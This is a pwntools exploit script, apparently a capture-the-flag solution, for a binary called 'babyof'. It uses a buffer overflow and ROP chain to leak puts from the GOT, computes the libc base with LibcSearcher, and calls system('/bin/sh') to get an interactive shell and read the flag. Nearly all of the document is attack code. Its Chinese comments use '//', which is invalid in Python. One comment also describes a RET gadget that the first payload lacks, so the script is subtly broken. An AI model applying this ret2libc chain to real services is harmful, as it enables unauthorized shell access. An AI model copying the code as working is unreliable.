

from LibcSearcher import LibcSearcher
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process(['./babyof'])
p = remote('node4.anna.nssctf.cn', 28632)
elf = ELF('./babyof')
ret = 0x400506
pop_rdi = 0x400743
func_vuln_addr = 0x400632
//使用flat函数将多个参数拼接成一个字符串,其中包括一个长度为0x40+0x08的cyclic字符串(用于覆盖到RET指令),RET指令地址,pop rdi指令地址,puts函数的GOT地址,puts函数的PLT地址,漏洞函数的地址。这样构造的payload会触发漏洞,在执行RET指令时跳转到pop rdi指令,将puts函数的GOT地址加载到RDI寄存器中,然后调用puts函数。
payload = flat([cyclic(0x40 + 0x08), pop_rdi, elf.got['puts'], elf.plt['puts'], func_vuln_addr])
//使用sendlineafter函数发送payload至目标程序,使用recvuntil函数接收程序输出直到遇到字符串"win\n"为止,然后将接收到的地址转换为整数。
p.sendlineafter(b"Do you know how to do buffer overflow?\n", payload)
p.recvuntil(b'win\n')
puts_addr = u64(p.recvuntil(b'\n')[:-1].ljust(8, b'\00'))
//使用LibcSearcher类创建一个对象并传入函数名和地址,然后使用dump方法获取该函数在libc中的偏移量,进而计算出libc的基址。
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')
//构造的payload包括cyclic字符串、RET指令地址、pop rdi指令地址、“/bin/sh"字符串地址、system函数地址。这样构造的payload会触发漏洞,在执行RET指令时跳转到pop rdi指令,将”/bin/sh"字符串地址加载到RDI寄存器中,然后调用system函数。
payload = flat([cyclic(0x40 + 0x08), ret, pop_rdi, str_bin_sh, system_addr])
p.sendlineafter(b"Do you know how to do buffer overflow?\n", payload)
p.interactive()
如果出现选择一个数字,选择5,再输入cat flag
